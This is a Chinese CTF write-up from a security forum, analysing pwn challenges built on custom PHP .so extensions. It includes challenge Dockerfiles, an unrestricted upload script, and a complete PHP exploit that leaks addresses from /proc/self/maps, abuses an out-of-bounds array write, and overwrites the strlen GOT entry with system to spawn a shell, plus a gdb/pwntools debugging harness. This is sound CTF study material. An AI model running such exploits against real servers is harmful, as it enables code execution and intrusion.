[原创]CTF php .so pwn 题型分析-Pwn-看雪-安全社区|安全招聘|kanxue.com

[原创]CTF php .so pwn 题型分析

发表于: 2024-6-4 13:18 16988

[原创]CTF php .so pwn 题型分析

imLZH1

2024-6-4 13:18

16988

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最近打比赛遇到了几道 php so 模块的 pwn 题，个人感觉挺有意思的

一般情况下会把php 大部分函数 ban 掉，只是用自定义so 文件里的函数

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虽然里面函数名前面有zif_ ,实际上调用的函数名是

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https://www.bookstack.cn/read/phpbook/7.1.md

最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了，形式为：ZEND_NUM_ARGS() TSRMLS_CC，注意两者之间有个空格，但是没有逗号。从名字可以看出，ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串，就像printf的第一个参数一样。下面表示了最常用的几个符号。

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如果参数不是预期的数量和类型，zend_parse_parameters 会返回 -1 否则 0

简单了解下 lzz 是什么东东

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bin_data_size的映射表，将宏定义展开为如下数组所示：

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大致结构体

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正常情况下，array_size 是 4

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array_size 被改 ( 和quicksort 有关)，基本上使用 edit 时 idx 就没有限制了，只要知道 heap 地址和另一个地址，即可实现任意地址写

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然后把所需要的 so 放到指定目录，后面再启动的后应该就可以成功加载了

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直接用本机apache2 + php 环境调试，

所以说，没法直接调试，我们可以是用 /usr/sbin/apachectl -X 即可调试进程. apachectl是一个 shell脚本

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add_chunk()
show_chunk()
edit_chunk()
edit_name()
free_chunk()

add_chunk()

show_chunk()

edit_chunk()

edit_name()

free_chunk()

<?php
 
echo "123";

echo "123";
 
add_chunk(1,[0x23],"name");
 
?>

<?php

echo "123";

add_chunk(1,[0x23],"name");

?>

rdi 第一个参数可能是传递参数的数量，

rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数类型

rdi 第一个参数可能是传递参数的数量，

rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数类型

int
strings
arrary

4 int

6 strings

7 arrary

int zend_parse_parameters(size_t arg_num, char *TypeChar, ...)

b Boolean
l Integer 整型
d Floating point 浮点型
s String 字符串
r Resource 资源
a Array 数组

o Object instance 对象

O Object instance of a specified type 特定类型的对象

z Non-specific zval 任意类型～

Z zval**类型

f 表示函数、方法名称，PHP5.3之前没有的

b Boolean

l Integer 整型

d Floating point 浮点型

s String 字符串

r Resource 资源

a Array 数组

o Object instance 对象

O Object instance of a specified type 特定类型的对象

z Non-specific zval 任意类型～

Z zval**类型

f 表示函数、方法名称，PHP5.3之前没有的

uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};

uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};

#!/usr/bin/python3
 
import sys

import tempfile

import os
 
sys.stdout.write("File size >> ")
sys.stdout.flush()

size = int(sys.stdin.readline().strip())

if size > 1024*1024:

    sys.stdout.write("Too large!")

    sys.stdout.flush()

    sys.exit(1)

sys.stdout.write("Data >> ")
sys.stdout.flush()

script = sys.stdin.read(size)
 
filename = tempfile.mktemp()

with open(filename, "w") as f:

    f.write(script)
 
os.system("php " + filename)

#!/usr/bin/python3

import sys

import tempfile

import os

sys.stdout.write("File size >> ")

sys.stdout.flush()

size = int(sys.stdin.readline().strip())

if size > 1024*1024:

sys.stdout.write("Too large!")

sys.stdout.flush()

sys.exit(1)

sys.stdout.write("Data >> ")

sys.stdout.flush()

script = sys.stdin.read(size)

filename = tempfile.mktemp()

with open(filename, "w") as f:

f.write(script)

os.system("php " + filename)

FROM php:8.3-apache

RUN apt-get update

RUN apt-get upgrade -y

RUN DEBIAN_FRONTEND=noninteractive

RUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -y
 
RUN useradd -m ctf

RUN echo "ctf:ctf" | chpasswd

WORKDIR /home/ctf

ADD ynetd /home/ctf

ADD server.py /home/ctf

ADD run.sh /home/ctf
 
COPY ./php.ini /usr/local/etc/php

COPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831

COPY ./readflag /

COPY ./flag.txt /flag.txt
 
RUN chmod 400 /flag.txt

RUN chmod u+sx /readflag
 
EXPOSE 5555

CMD ./ynetd -p 5555 "timeout 30 ./run.sh"

FROM php:8.3-apache

RUN apt-get update

RUN apt-get upgrade -y

RUN DEBIAN_FRONTEND=noninteractive

RUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -y

RUN useradd -m ctf

RUN echo "ctf:ctf" | chpasswd

WORKDIR /home/ctf

ADD ynetd /home/ctf

ADD server.py /home/ctf

ADD run.sh /home/ctf

COPY ./php.ini /usr/local/etc/php

COPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831

COPY ./readflag /

COPY ./flag.txt /flag.txt

RUN chmod 400 /flag.txt

RUN chmod u+sx /readflag

EXPOSE 5555

CMD ./ynetd -p 5555 "timeout 30 ./run.sh"

docker load -i jingxiang.tar.gz

docker run --name run_numbergame -p 5555:5555 -itd numbergame:latest

struct mechunk{

    size_t *name_ptr;

    size_t num;

    size_t array_size; // 默认 最大 100, 通过漏洞使这里变大，我们既可以实现数组越界

     ...;
};

struct mechunk{

size_t *name_ptr;

size_t num;

size_t array_size; // 默认最大 100, 通过漏洞使这里变大，我们既可以实现数组越界

...;

};

<?php
 
$heap_base = 0;

$libc_base = 0;

$libc = "";

$mbase = "";
 
function u64($leak){

    $leak = strrev($leak);

    $leak = bin2hex($leak);

    $leak = hexdec($leak);

    return $leak;
}
 
function p64($addr){

    $addr = dechex($addr);

    $addr = hex2bin($addr);

    $addr = strrev($addr);

    $addr = str_pad($addr, 8, "\x00");

    return $addr;
}
 
function leakaddr($buffer){

    global $libc, $mbase;

    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';

    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/';

    preg_match_all($p, $buffer, $libc);

    preg_match_all($p1, $buffer, $mbase);

    return "";
}
 
ob_start("leakaddr");

include("/proc/self/maps");

$buffer = ob_get_contents();
ob_end_flush();

leakaddr($buffer);
 
echo "\n----1-----\n";

add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好

#add_chunk(1,[0],"/bin/sh;");

add_chunk(1,[0],"/bin/sh");

$rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大，然后 越界修改和泄露其他地方的值
 
$heap = $rel[7];

$heap += ($rel[8] << 0x20); // 泄露 heap 地址
 
$of = $heap - 72; # 数组起始
#

$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址，
##

echo "\n----heap-----\n";

echo dechex($heap);

echo "\n----4-----\n";

echo $libc[1][0];

echo "\n----4-----\n";
#

$offset = ($str_got - $of) / 4;
 
$system = (hexdec($libc[1][0]) + 0x4c490);
 
echo $offset;

edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system
//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");
 
edit_name(1,'1'); # 
 
?>

<?php

$heap_base = 0;

$libc_base = 0;

$libc = "";

$mbase = "";

function u64($leak){

$leak = strrev($leak);

$leak = bin2hex($leak);

$leak = hexdec($leak);

return $leak;

}

function p64($addr){

$addr = dechex($addr);

$addr = hex2bin($addr);

$addr = strrev($addr);

$addr = str_pad($addr, 8, "\x00");

return $addr;

}

function leakaddr($buffer){

global $libc, $mbase;

$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';

$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/';

preg_match_all($p, $buffer, $libc);

preg_match_all($p1, $buffer, $mbase);

return "";

}

ob_start("leakaddr");

include("/proc/self/maps");

$buffer = ob_get_contents();

ob_end_flush();

leakaddr($buffer);

echo "\n----1-----\n";

add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好

#add_chunk(1,[0],"/bin/sh;");

add_chunk(1,[0],"/bin/sh");

$rel

= show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大，然后 越界修改和泄露其他地方的值

$heap = $rel[7];

$heap += ($rel[8] << 0x20); // 泄露 heap 地址

$of = $heap - 72; # 数组起始

#

$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址，

##

echo "\n----heap-----\n";

echo dechex($heap);

echo "\n----4-----\n";

echo $libc[1][0];

echo "\n----4-----\n";

#

$offset = ($str_got - $of) / 4;

$system = (hexdec($libc[1][0]) + 0x4c490);

echo $offset;

edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system

//修改name 的时候会先 strlen测量 name 的长度 strlen("/bin/sh");

edit_name(1,'1'); #

?>

FROM php:8.3-apache
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install vim -y
 

COPY ./stuff/php.ini /usr/local/etc/php

COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831

COPY ./stuff/readflag /

COPY ./flag.txt /flag.txt

COPY ./stuff/index.php /var/www/html

RUN chmod 400 /flag.txt

RUN chmod u+sx /readflag

RUN chmod -R 777 /var/www/html

FROM php:8.3-apache

RUN apt-get update

RUN apt-get upgrade -y

RUN DEBIAN_FRONTEND=noninteractive

RUN apt install vim -y

COPY ./stuff/php.ini /usr/local/etc/php

COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831

COPY ./stuff/readflag /

COPY ./flag.txt /flag.txt

COPY ./stuff/index.php /var/www/html

RUN chmod 400 /flag.txt

RUN chmod u+sx /readflag

RUN chmod -R 777 /var/www/html

<?php

@error_reporting(E_ALL);

$file = $_FILES['file'];

if (!isset($file)){

    die('upload error');
}

$result = move_uploaded_file($file['tmp_name'], $file['name']);
 
if ($result){

    echo 'upload success';

}else{

    echo 'upload error';
}

<?php

@error_reporting(E_ALL);

$file = $_FILES['file'];

if (!isset($file)){

die('upload error');

}

$result = move_uploaded_file($file['tmp_name'], $file['name']);

if ($result){

echo 'upload success';

}else{

echo 'upload error';

}

/etc/php/8.3/apache2/php.ini
添加
extension = vuln.so

/etc/php/8.3/apache2/php.ini

添加

extension = vuln.so

from pwn import *

from os import system

import sys

s       = lambda data               :io.send(data)

sa      = lambda delim,data         :io.sendafter(str(delim), data)

sl      = lambda data               :io.sendline(data)

sla     = lambda delim,data         :io.sendlineafter(str(delim), data)

r       = lambda num                :io.recv(num)

ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

rl      = lambda                    :io.recvline()

itr     = lambda                    :io.interactive()

uu32    = lambda data               :u32(data.ljust(4,b'\x00'))

uu64    = lambda data               :u64(data.ljust(8,b'\x00'))

ls      = lambda data               :log.success(data)

lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'

context.log_level = 'debug'

context.terminal  = ['tmux','splitw','-h','-l','190']

def start(binary,argv=[], *a, **kw):

    '''Start the exploit against the target.'''

    if args.GDB:

        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)

    elif args.RE:

        return remote()

    elif args.AWD:

        # python3 exp.py AWD 1.1.1.1 PORT

        IP = str(sys.argv[1])

        PORT = int(sys.argv[2])

        return remote(IP,PORT)

    else:

        return process([binary] + argv, *a, **kw)
 
io = process(['/usr/sbin/apachectl', '-X'])

print(io.pid)
 
sleep(0.1)
 
import subprocess

gdbscript = '''
b *zif_addHacker
#b *zif_displayHacker
b *zif_editHacker
#b *zif_editHacker
c
'''
 
command = ["pgrep", "-f", "/usr/sbin/apache2"]

result = subprocess.run(command, capture_output=True, text=True)
 
pids = int(result.stdout.strip().split("\n")[0])
 
gdb.attach(pids,gdbscript)
 
pause()
 
system('cp exp.php /var/www/html/exp.php')

system('curl http://127.0.0.1/exp.php')
itr()